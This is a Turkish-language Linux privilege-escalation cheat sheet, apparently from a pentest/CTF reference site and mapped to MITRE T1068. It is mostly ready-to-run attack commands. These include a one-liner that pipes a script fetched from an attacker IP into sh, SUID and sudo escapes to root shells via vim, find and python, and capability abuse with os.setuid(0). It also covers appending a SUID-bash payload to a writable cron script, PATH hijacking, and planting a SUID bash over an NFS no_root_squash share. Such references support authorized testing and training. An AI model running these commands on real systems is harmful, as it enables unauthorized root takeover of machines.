Linux Privilege Escalation

MITRE ATT&CK · T1068 phase: privilege-escalation

Linux privilege escalation, düşük yetkili bir oturumdan root (veya eşdeğer yetenek) elde etmektir. Amaç rastgele exploit denemek değil; enumeration ile yazılabilir dosya, tehlikeli SUID, sudo kuralı ve capability yüzeyini çıkarıp bilinen sömürü yollarına bağlamak.

Ön koşullar

Shell → id/uname/mount
Enum  → linpeas + manuel (SUID, sudo, cron, caps)
Sömürü → GTFOBins / yazma hakkı → root shell

Enumeration (hızlı başlangıç)

id

uname -a

sudo -l

find / -perm -4000 -type f 2>/dev/null

getcap -r / 2>/dev/null

cat /etc/crontab

mount

ss -lntup

⚡

linpeas · remote fetch

embedded tool

Attacker IPHTTP port

Generated commandcopy

curl -L http://10.10.14.5:8000/linpeas.sh | sh

linpeas.sh dosyasını saldırgan makinede python3 -m http.server ile servis et.

linpeas · remote fetch

python3 -m http.server 8000

wget http://10.10.14.5:8000/linpeas.sh -O /tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

/tmp/linpeas.sh | tee /tmp/lp.out

pspy ile root cron/timer’larını yakala (SUID gerekmez):

./pspy64 -p -i 1000

SUID / SGID ve GTFOBins

SUID binary, çalışırken dosya sahibinin (çoğu zaman root) UID’siyle koşar. GTFOBins’te listelenen araçlar shell, dosya okuma/yazma veya library load ile yükseltilebilir. Özel SUID’de strings / ldd / strace ile relative path veya yazılabilir config ara.

find / -perm -u=s -type f 2>/dev/null

find . -exec /bin/sh -p \; -quit

vim -c ':!/bin/sh'

bash -p

sudo suistimali

sudo -l

(ALL) NOPASSWD: /usr/bin/vim      → :!bash
(ALL) NOPASSWD: /usr/bin/find     → -exec
(root) NOPASSWD: /usr/bin/python3 → os.system("/bin/sh")
SETENV / env_keep+=LD_PRELOAD     → sahte .so

sudo vim -c ':!/bin/sh'

sudo python3 -c 'import os; os.system("/bin/sh")'

SETENV / LD_PRELOAD varsa sahte .so basıp izinli binary ile yükle. Wildcard sudo ve sudoedit için GTFOBins; sudo -l satır satır oku.

Linux capabilities

Dosyaya yapışık cap’ler SUID olmadan yükseltme sağlar: cap_setuid, cap_dac_read_search, cap_sys_admin, cap_sys_ptrace.

getcap -r / 2>/dev/null

capsh --print

python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Cron, systemd timer, yazılabilir script

crontab -l

ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null

systemctl list-timers --all 2>/dev/null

find /etc /opt /usr/local -writable -type f 2>/dev/null | head

echo 'chmod u+s /bin/bash' >> /path/to/writable-cron.sh

PATH hijack — cron script çağırıyor ama full path yoksa yazılabilir dizine sahte script koy. Wildcard (tar *) için checklist’e bak.

PATH ve shared library hijack

echo $PATH

export PATH=/tmp:$PATH

echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service

chmod +x /tmp/service

ldd ile yazılabilir .so / RPATH varsa sahte shared object bas.

NFS no_root_squash

showmount -e 10.10.10.5

cat /etc/exports

/var/nfs  *(rw,sync,no_root_squash)

Saldırgan makinede root olarak mount et, SUID bash bas, hedefte çalıştır:

mkdir /tmp/nfs

mount -t nfs 10.10.10.5:/var/nfs /tmp/nfs

cp /bin/bash /tmp/nfs/bash

chmod +s /tmp/nfs/bash

anonuid=0 benzeri misconfig aynı sınıftadır.

Kernel ve diğer vektörler

uname -a

pkexec --version

grep -E 'docker|lxd|disk|adm' /etc/group

Eski kernel + bilinen LPE (DirtyCow, DirtyPipe, PwnKit…) yalnızca sürüm eşleşince. Ayrıca: docker/lxd grubu, yazılabilir /etc/passwd, SSH agent forwarding, DB root socket.

Metodoloji özeti

1. sudo -l, SUID, getcap, cron, mount/exports, gruplar — manuel tur.

2. linpeas + pspy; sarı/kırmızı bulguları GTFOBins ile eşle.

3. Yazılabilir cron/script/systemd unit’leri payload ile doğrula.

4. NFS / docker.sock / LXD varsa host/root’a git.

5. Kernel CVE son çare; önce yanlış yapılandırmadan stabil shell al.

Saldırı zinciri örnekleri

linpeas → NOPASSWD sudo → GTFOBins → root
pspy → writable root cron → reverse root shell
cap_setuid+ep → os.setuid(0) → root
no_root_squash → SUID bash → remote root